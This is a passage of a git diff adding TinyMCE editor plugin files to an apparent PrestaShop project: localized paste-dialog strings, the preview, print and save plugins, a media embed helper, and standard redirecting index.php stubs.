b/js/tiny_mce/plugins/paste/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.paste_dlg',{"word_title":"Premere CTRL+V sulla tastiera per incollare il testo nella finestra.","text_linebreaks":"Mantieni interruzioni di riga","text_title":"Premere CTRL+V sulla tastiera per incollare il testo nella finestra."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/ja_dlg.js b/js/tiny_mce/plugins/paste/langs/ja_dlg.js new file mode 100755 index 0000000..5af5982 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.paste_dlg',{"word_title":"Ctrl V(\u30ad\u30fc\u30dc\u30fc\u30c9)\u3092\u4f7f\u7528\u3057\u3066\u3001\u30c6\u30ad\u30b9\u30c8\u3092\u30a6\u30a3\u30f3\u30c9\u30a6\u306b\u8cbc\u308a\u4ed8\u3051\u3066\u304f\u3060\u3055\u3044\u3002","text_linebreaks":"\u6539\u884c\u3092\u4fdd\u6301","text_title":"Ctrl V(\u30ad\u30fc\u30dc\u30fc\u30c9)\u3092\u4f7f\u7528\u3057\u3066\u3001\u30c6\u30ad\u30b9\u30c8\u3092\u30a6\u30a3\u30f3\u30c9\u30a6\u306b\u8cbc\u308a\u4ed8\u3051\u3066\u304f\u3060\u3055\u3044\u3002"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/ka_dlg.js b/js/tiny_mce/plugins/paste/langs/ka_dlg.js new file mode 100755 index 0000000..dedcfd3 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.paste_dlg',{"word_title":"\u0418\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10e9\u10d0\u10e1\u10d0\u10e1\u10db\u10d4\u10da\u10d0\u10d3 \u10d2\u10d0\u10db\u10dd\u10d8\u10e7\u10d4\u10dc\u10d4\u10d7 \u10d9\u10da\u10d0\u10d5\u10d8\u10d0\u10e2\u10e3\u10e0\u10e3\u10da\u10d8 \u10d9\u10dd\u10db\u10d1\u10d8\u10dc\u10d0\u10ea\u10d8\u10d0 CTRL+V.","text_linebreaks":"\u10d2\u10d0\u10d3\u10d0\u10e2\u10d0\u10dc\u10d8\u10da\u10d8 \u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d4\u10d1\u10d8\u10e1 \u10e8\u10d4\u10dc\u10d0\u10ee\u10d5\u10d0","text_title":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10e9\u10d0\u10e1\u10d0\u10e1\u10db\u10d4\u10da\u10d0\u10d3 \u10d2\u10d0\u10db\u10dd\u10d8\u10e7\u10d4\u10dc\u10d4\u10d7 \u10d9\u10da\u10d0\u10d5\u10d8\u10d0\u10e2\u10e3\u10e0\u10e3\u10da\u10d8 \u10d9\u10dd\u10db\u10d1\u10d8\u10dc\u10d0\u10ea\u10d8\u10d0 CTRL+V."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/ko_dlg.js b/js/tiny_mce/plugins/paste/langs/ko_dlg.js new file mode 100755 index 0000000..3b58f65 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.paste_dlg',{"word_title":"\uc708\ub3c4\uc6b0\uc5d0 \ud14d\uc2a4\ud2b8\ub97c \ubd99\uc774\ub824\uba74 \ud0a4\ubcf4\ub4dc\ub85cCtrl+V\ub97c \uc785\ub825\ud574 \uc8fc\uc138\uc694.","text_linebreaks":"\uac1c\ud589\uc744 \ubcf4\uad00 \uc720\uc9c0","text_title":"\uc708\ub3c4\uc6b0\uc5d0 \ud14d\uc2a4\ud2b8\ub97c \ubd99\uc774\ub824\uba74 \ud0a4\ubcf4\ub4dc\ub85c Ctrl+V\ub97c \uc785\ub825\ud574 \uc8fc\uc138\uc694."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/lt_dlg.js b/js/tiny_mce/plugins/paste/langs/lt_dlg.js new file mode 100755 index 0000000..7cf928d --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.paste_dlg',{"word_title":"Naudokite CTRL+V tekstui \u012fd\u0117ti \u012f \u0161\u012f lang\u0105.","text_linebreaks":"Palikti eilu\u010di\u0173 l\u016b\u017eius","text_title":"Naudokite CTRL+V tekstui \u012fd\u0117ti \u012f \u0161\u012f lang\u0105."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/nl_dlg.js b/js/tiny_mce/plugins/paste/langs/nl_dlg.js new file mode 100755 index 0000000..bac8ac0 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.paste_dlg',{"word_title":"Gebruik Ctrl+V om tekst in het venster te plakken.","text_linebreaks":"Regelafbreking bewaren","text_title":"Gebruik Ctrl+V om tekst in het venster te plakken."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/no_dlg.js b/js/tiny_mce/plugins/paste/langs/no_dlg.js new file mode 100755 index 0000000..3f8e333 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.paste_dlg',{"word_title":"Bruk CTRL+V p\u00e5 tastaturet for \u00e5 lime inn teksten i dette vinduet.","text_linebreaks":"Behold tekstbryting","text_title":"Bruk CTRL+V p\u00e5 tastaturet for \u00e5 lime inn teksten i dette vinduet."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/pl_dlg.js b/js/tiny_mce/plugins/paste/langs/pl_dlg.js new file mode 100755 index 0000000..54fd41c --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.paste_dlg',{"word_title":"U\u017cyj CTRL+V na swojej klawiaturze \u017ceby wklei\u0107 tekst do okna.","text_linebreaks":"Zachowaj ko\u0144ce linii.","text_title":"U\u017cyj CTRL+V na swojej klawiaturze \u017ceby wklei\u0107 tekst do okna."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/pt_dlg.js b/js/tiny_mce/plugins/paste/langs/pt_dlg.js new file mode 100755 index 0000000..c9601cf --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.paste_dlg',{"word_title":"Use CTRL+V para colar o texto na janela.","text_linebreaks":"Manter quebras de linha","text_title":"Use CTRL+V para colar o texto na janela."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/ro_dlg.js b/js/tiny_mce/plugins/paste/langs/ro_dlg.js new file mode 100755 index 0000000..897bc01 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.paste_dlg',{"word_title":"Folose\u0219te CTRL V pentru a lipi \u00een aceast\u0103 zon\u0103.","text_linebreaks":"P\u0103streaz\u0103 separatoarele de linii.","text_title":"Folose\u0219te CTRL V pentru a lipi \u00een aceast\u0103 zon\u0103."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/ru_dlg.js b/js/tiny_mce/plugins/paste/langs/ru_dlg.js new file mode 100755 index 0000000..b360b07 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.paste_dlg',{"word_title":"\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 CTRL+V \u0434\u043b\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0442\u0435\u043a\u0441\u0442\u0430 \u0432 \u043e\u043a\u043d\u043e.","text_linebreaks":"\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u044b \u0441\u0442\u0440\u043e\u043a","text_title":"\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 CTRL+V \u0434\u043b\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0442\u0435\u043a\u0441\u0442\u0430 \u0432 \u043e\u043a\u043d\u043e."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/sk_dlg.js b/js/tiny_mce/plugins/paste/langs/sk_dlg.js new file mode 100755 index 0000000..a3745f3 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.paste_dlg',{"word_title":"Pou\u017eite CTRL+V pre vlo\u017eenie textu do okna.","text_linebreaks":"Zachova\u0165 zalamovanie riadkov","text_title":"Pou\u017eite CTRL+V pre vlo\u017eenie textu do okna."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/sl_dlg.js b/js/tiny_mce/plugins/paste/langs/sl_dlg.js new file mode 100755 index 0000000..eca8bd1 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.paste_dlg',{"word_title":"Uporabite kombinacijo tipk CTRL+V, da prilepite vsebino v okno.","text_linebreaks":"Obdr\u017ei prelome vrstic","text_title":"Uporabite kombinacijo tipk CTRL+V, da prilepite vsebino v okno."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/sv_dlg.js b/js/tiny_mce/plugins/paste/langs/sv_dlg.js new file mode 100755 index 0000000..1c99e2b --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.paste_dlg',{"word_title":"Anv\u00e4nd ctrl-v p\u00e5 ditt tangentbord f\u00f6r att klistra in i detta f\u00f6nster.","text_linebreaks":"Spara radbrytningar","text_title":"Anv\u00e4nd ctrl-v p\u00e5 ditt tangentbord f\u00f6r att klistra in i detta f\u00f6nster."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/th_dlg.js b/js/tiny_mce/plugins/paste/langs/th_dlg.js new file mode 100755 index 0000000..9616c41 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.paste_dlg',{"word_title":"Use CTRL+V on your keyboard to paste the text into the window.","text_linebreaks":"Keep linebreaks","text_title":"Use CTRL+V on your keyboard to paste the text into the window."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/tr_dlg.js b/js/tiny_mce/plugins/paste/langs/tr_dlg.js new file mode 100755 index 0000000..16864b4 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.paste_dlg',{"word_title":"Pencereye metin yap\u0131\u015ft\u0131rmak i\u00e7in klavyeden CTRL+V i kullan\u0131n.","text_linebreaks":"Sat\u0131r kesmelerini tut","text_title":"Pencereye metin yap\u0131\u015ft\u0131rmak i\u00e7in klavyeden CTRL+V i kullan\u0131n."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/tw_dlg.js b/js/tiny_mce/plugins/paste/langs/tw_dlg.js new file mode 100755 index 0000000..5022d8d --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.paste_dlg',{"word_title":"\u7528 Ctrl+V \u5c07\u5167\u5bb9\u8cbc\u4e0a\u3002","text_linebreaks":"\u4fdd\u7559\u63db\u884c\u7b26\u865f","text_title":"\u7528 Ctrl+V \u5c07\u5167\u5bb9\u8cbc\u4e0a\u3002"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/uk_dlg.js b/js/tiny_mce/plugins/paste/langs/uk_dlg.js new file mode 100755 index 0000000..b623289 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.paste_dlg',{"word_title":"\u0412\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u0439\u0442\u0435 CTRL+V \u0434\u043b\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0442\u0435\u043a\u0441\u0442\u0443 \u0443 \u0432\u0456\u043a\u043d\u043e.","text_linebreaks":"\u0417\u0431\u0435\u0440\u0456\u0433\u0430\u0442\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438 \u0440\u044f\u0434\u043a\u0456\u0432","text_title":"\u0412\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u0439\u0442\u0435 CTRL+V \u0434\u043b\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0442\u0435\u043a\u0441\u0442\u0443 \u0443 \u0432\u0456\u043a\u043d\u043e."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/vi_dlg.js b/js/tiny_mce/plugins/paste/langs/vi_dlg.js new file mode 100755 index 0000000..25694d9 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.paste_dlg',{"word_title":"S\u1eed d\u1ee5ng CTRL+V tr\u00ean b\u00e0n ph\u00edm \u0111\u1ec3 d\u00e1n v\u0103n b\u1ea3n v\u00e0o c\u1eeda s\u1ed5.","text_linebreaks":"Gi\u1eef ng\u1eaft d\u00f2ng","text_title":"S\u1eed d\u1ee5ng CTRL+V tr\u00ean b\u00e0n ph\u00edm \u0111\u1ec3 d\u00e1n v\u0103n b\u1ea3n v\u00e0o c\u1eeda s\u1ed5."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/zh-cn_dlg.js b/js/tiny_mce/plugins/paste/langs/zh-cn_dlg.js new file mode 100755 index 0000000..4abd1a9 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.paste_dlg',{"word_title":"\u4f7f\u7528CTRL V\u7c98\u8d34\u6587\u672c\u5230\u7a97\u53e3\u4e2d\u3002","text_linebreaks":"\u4fdd\u7559\u65ad\u884c","text_title":"\u4f7f\u7528CTRL V\u7c98\u8d34\u6587\u672c\u5230\u7a97\u53e3\u4e2d\u3002"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/zh-tw_dlg.js b/js/tiny_mce/plugins/paste/langs/zh-tw_dlg.js new file mode 100755 index 0000000..ea2f214 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.paste_dlg',{"word_title":"\u8acb\u6309\u9375\u76e4\u4e0a\u7684 Ctrl C (\u8907\u88fd) \u8cc7\u6599\u5230\u756b\u9762\u4e0a","text_linebreaks":"\u4fdd\u7559\u6587\u7ae0\u4e2d\u7684\u63db\u884c","text_title":"\u8acb\u6309\u9375\u76e4\u4e0a\u7684 Ctrl C (\u8cbc\u4e0a) \u8cc7\u6599\u5230\u756b\u9762\u4e0a"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/pastetext.htm b/js/tiny_mce/plugins/paste/pastetext.htm new file mode 100755 index 0000000..8ccfbb9 --- /dev/null +++ b/js/tiny_mce/plugins/paste/pastetext.htm @@ -0,0 +1,27 @@ + + + {#paste.paste_text_desc} + + + + +
    +
    {#paste.paste_text_desc}
    + +
    + +
    + +
    + +
    {#paste_dlg.text_title}
    + + + +
    + + +
    +
    + + \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/pasteword.htm b/js/tiny_mce/plugins/paste/pasteword.htm new file mode 100755 index 0000000..7731f39 --- /dev/null +++ b/js/tiny_mce/plugins/paste/pasteword.htm @@ -0,0 +1,21 @@ + + + {#paste.paste_word_desc} + + + + +
    +
    {#paste.paste_word_desc}
    + +
    {#paste_dlg.word_title}
    + +
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce/plugins/preview/editor_plugin.js b/js/tiny_mce/plugins/preview/editor_plugin.js new file mode 100755 index 0000000..507909c --- /dev/null +++ b/js/tiny_mce/plugins/preview/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.Preview",{init:function(a,b){var d=this,c=tinymce.explode(a.settings.content_css);d.editor=a;tinymce.each(c,function(f,e){c[e]=a.documentBaseURI.toAbsolute(f)});a.addCommand("mcePreview",function(){a.windowManager.open({file:a.getParam("plugin_preview_pageurl",b+"/preview.html"),width:parseInt(a.getParam("plugin_preview_width","550")),height:parseInt(a.getParam("plugin_preview_height","600")),resizable:"yes",scrollbars:"yes",popup_css:c?c.join(","):a.baseURI.toAbsolute("themes/"+a.settings.theme+"/skins/"+a.settings.skin+"/content.css"),inline:a.getParam("plugin_preview_inline",1)},{base:a.documentBaseURI.getURI()})});a.addButton("preview",{title:"preview.preview_desc",cmd:"mcePreview"})},getInfo:function(){return{longname:"Preview",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/preview",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("preview",tinymce.plugins.Preview)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/preview/editor_plugin_src.js b/js/tiny_mce/plugins/preview/editor_plugin_src.js new file mode 100755 index 0000000..80f00f0 --- /dev/null +++ b/js/tiny_mce/plugins/preview/editor_plugin_src.js @@ -0,0 +1,53 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.Preview', { + init : function(ed, url) { + var t = this, css = tinymce.explode(ed.settings.content_css); + + t.editor = ed; + + // Force absolute CSS urls + tinymce.each(css, function(u, k) { + css[k] = ed.documentBaseURI.toAbsolute(u); + }); + + ed.addCommand('mcePreview', function() { + ed.windowManager.open({ + file : ed.getParam("plugin_preview_pageurl", url + "/preview.html"), + width : parseInt(ed.getParam("plugin_preview_width", "550")), + height : parseInt(ed.getParam("plugin_preview_height", "600")), + resizable : "yes", + scrollbars : "yes", + popup_css : css ? css.join(',') : ed.baseURI.toAbsolute("themes/" + ed.settings.theme + "/skins/" + ed.settings.skin + "/content.css"), + inline : ed.getParam("plugin_preview_inline", 1) + }, { + base : ed.documentBaseURI.getURI() + }); + }); + + ed.addButton('preview', {title : 'preview.preview_desc', cmd : 'mcePreview'}); + }, + + getInfo : function() { + return { + longname : 'Preview', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/preview', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('preview', tinymce.plugins.Preview); +})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/preview/example.html b/js/tiny_mce/plugins/preview/example.html new file mode 100755 index 0000000..4820222 --- /dev/null +++ b/js/tiny_mce/plugins/preview/example.html @@ -0,0 +1,28 @@ + + + + + +Example of a custom preview page + + + +Editor contents:
    +
    + +
    + + + diff --git a/js/tiny_mce/plugins/preview/index.php b/js/tiny_mce/plugins/preview/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/plugins/preview/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/plugins/preview/jscripts/embed.js b/js/tiny_mce/plugins/preview/jscripts/embed.js new file mode 100755 index 0000000..6fe25de --- /dev/null +++ b/js/tiny_mce/plugins/preview/jscripts/embed.js @@ -0,0 +1,73 @@ +/** + * This script contains embed functions for common plugins. This scripts are complety free to use for any purpose. + */ + +function writeFlash(p) { + writeEmbed( + 'D27CDB6E-AE6D-11cf-96B8-444553540000', + 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0', + 'application/x-shockwave-flash', + p + ); +} + +function writeShockWave(p) { + writeEmbed( + '166B1BCA-3F9C-11CF-8075-444553540000', + 'http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0', + 'application/x-director', + p + ); +} + +function writeQuickTime(p) { + writeEmbed( + '02BF25D5-8C17-4B23-BC80-D3488ABDDC6B', + 'http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0', + 'video/quicktime', + p + ); +} + +function writeRealMedia(p) { + writeEmbed( + 'CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA', + 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0', + 'audio/x-pn-realaudio-plugin', + p + ); +} + +function writeWindowsMedia(p) { + p.url = p.src; + writeEmbed( + '6BF52A52-394A-11D3-B153-00C04F79FAA6', + 'http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701', + 'application/x-mplayer2', + p + ); +} + +function writeEmbed(cls, cb, mt, p) { + var h = '', n; + + h += ''; + + h += ' +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/preview/preview.html b/js/tiny_mce/plugins/preview/preview.html new file mode 100755 index 0000000..c09a7f0 --- /dev/null +++ b/js/tiny_mce/plugins/preview/preview.html @@ -0,0 +1,17 @@ + + + + + + +{#preview.preview_desc} + + + + + diff --git a/js/tiny_mce/plugins/print/editor_plugin.js b/js/tiny_mce/plugins/print/editor_plugin.js new file mode 100755 index 0000000..b5b3a55 --- /dev/null +++ b/js/tiny_mce/plugins/print/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.Print",{init:function(a,b){a.addCommand("mcePrint",function(){a.getWin().print()});a.addButton("print",{title:"print.print_desc",cmd:"mcePrint"})},getInfo:function(){return{longname:"Print",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/print",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("print",tinymce.plugins.Print)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/print/editor_plugin_src.js b/js/tiny_mce/plugins/print/editor_plugin_src.js new file mode 100755 index 0000000..47e666a --- /dev/null +++ b/js/tiny_mce/plugins/print/editor_plugin_src.js @@ -0,0 +1,34 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.Print', { + init : function(ed, url) { + ed.addCommand('mcePrint', function() { + ed.getWin().print(); + }); + + ed.addButton('print', {title : 'print.print_desc', cmd : 'mcePrint'}); + }, + + getInfo : function() { + return { + longname : 'Print', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/print', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('print', tinymce.plugins.Print); +})(); diff --git a/js/tiny_mce/plugins/print/index.php b/js/tiny_mce/plugins/print/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/print/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/save/editor_plugin.js b/js/tiny_mce/plugins/save/editor_plugin.js new file mode 100755 index 0000000..8e93996 --- /dev/null +++ b/js/tiny_mce/plugins/save/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.Save",{init:function(a,b){var c=this;c.editor=a;a.addCommand("mceSave",c._save,c);a.addCommand("mceCancel",c._cancel,c);a.addButton("save",{title:"save.save_desc",cmd:"mceSave"});a.addButton("cancel",{title:"save.cancel_desc",cmd:"mceCancel"});a.onNodeChange.add(c._nodeChange,c);a.addShortcut("ctrl+s",a.getLang("save.save_desc"),"mceSave")},getInfo:function(){return{longname:"Save",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/save",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_nodeChange:function(b,a,c){var b=this.editor;if(b.getParam("save_enablewhendirty")){a.setDisabled("save",!b.isDirty());a.setDisabled("cancel",!b.isDirty())}},_save:function(){var c=this.editor,a,e,d,b;a=tinymce.DOM.get(c.id).form||tinymce.DOM.getParent(c.id,"form");if(c.getParam("save_enablewhendirty")&&!c.isDirty()){return}tinyMCE.triggerSave();if(e=c.getParam("save_onsavecallback")){if(c.execCallback("save_onsavecallback",c)){c.startContent=tinymce.trim(c.getContent({format:"raw"}));c.nodeChanged()}return}if(a){c.isNotDirty=true;if(a.onsubmit==null||a.onsubmit()!=false){a.submit()}c.nodeChanged()}else{c.windowManager.alert("Error: No form element found.")}},_cancel:function(){var a=this.editor,c,b=tinymce.trim(a.startContent);if(c=a.getParam("save_oncancelcallback")){a.execCallback("save_oncancelcallback",a);return}a.setContent(b);a.undoManager.clear();a.nodeChanged()}});tinymce.PluginManager.add("save",tinymce.plugins.Save)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/save/editor_plugin_src.js b/js/tiny_mce/plugins/save/editor_plugin_src.js new file mode 100755 index 0000000..5ab6491 --- /dev/null +++ b/js/tiny_mce/plugins/save/editor_plugin_src.js @@ -0,0 +1,101 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.Save', { + init : function(ed, url) { + var t = this; + + t.editor = ed; + + // Register commands + ed.addCommand('mceSave', t._save, t); + ed.addCommand('mceCancel', t._cancel, t); + + // Register buttons + ed.addButton('save', {title : 'save.save_desc', cmd : 'mceSave'}); + ed.addButton('cancel', {title : 'save.cancel_desc', cmd : 'mceCancel'}); + + ed.onNodeChange.add(t._nodeChange, t); + ed.addShortcut('ctrl+s', ed.getLang('save.save_desc'), 'mceSave'); + }, + + getInfo : function() { + return { + longname : 'Save', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/save', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + // Private methods + + _nodeChange : function(ed, cm, n) { + var ed = this.editor; + + if (ed.getParam('save_enablewhendirty')) { + cm.setDisabled('save', !ed.isDirty()); + cm.setDisabled('cancel', !ed.isDirty()); + } + }, + + // Private methods + + _save : function() { + var ed = this.editor, formObj, os, i, elementId; + + formObj = tinymce.DOM.get(ed.id).form || tinymce.DOM.getParent(ed.id, 'form'); + + if (ed.getParam("save_enablewhendirty") && !ed.isDirty()) + return; + + tinyMCE.triggerSave(); + + // Use callback instead + if (os = ed.getParam("save_onsavecallback")) { + if (ed.execCallback('save_onsavecallback', ed)) { + ed.startContent = tinymce.trim(ed.getContent({format : 'raw'})); + ed.nodeChanged(); + } + + return; + } + + if (formObj) { + ed.isNotDirty = true; + + if (formObj.onsubmit == null || formObj.onsubmit() != false) + formObj.submit(); + + ed.nodeChanged(); + } else + ed.windowManager.alert("Error: No form element found."); + }, + + _cancel : function() { + var ed = this.editor, os, h = tinymce.trim(ed.startContent); + + // Use callback instead + if (os = ed.getParam("save_oncancelcallback")) { + ed.execCallback('save_oncancelcallback', ed); + return; + } + + ed.setContent(h); + ed.undoManager.clear(); + ed.nodeChanged(); + } + }); + + // Register plugin + tinymce.PluginManager.add('save', tinymce.plugins.Save); +})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/save/index.php b/js/tiny_mce/plugins/save/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/save/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y 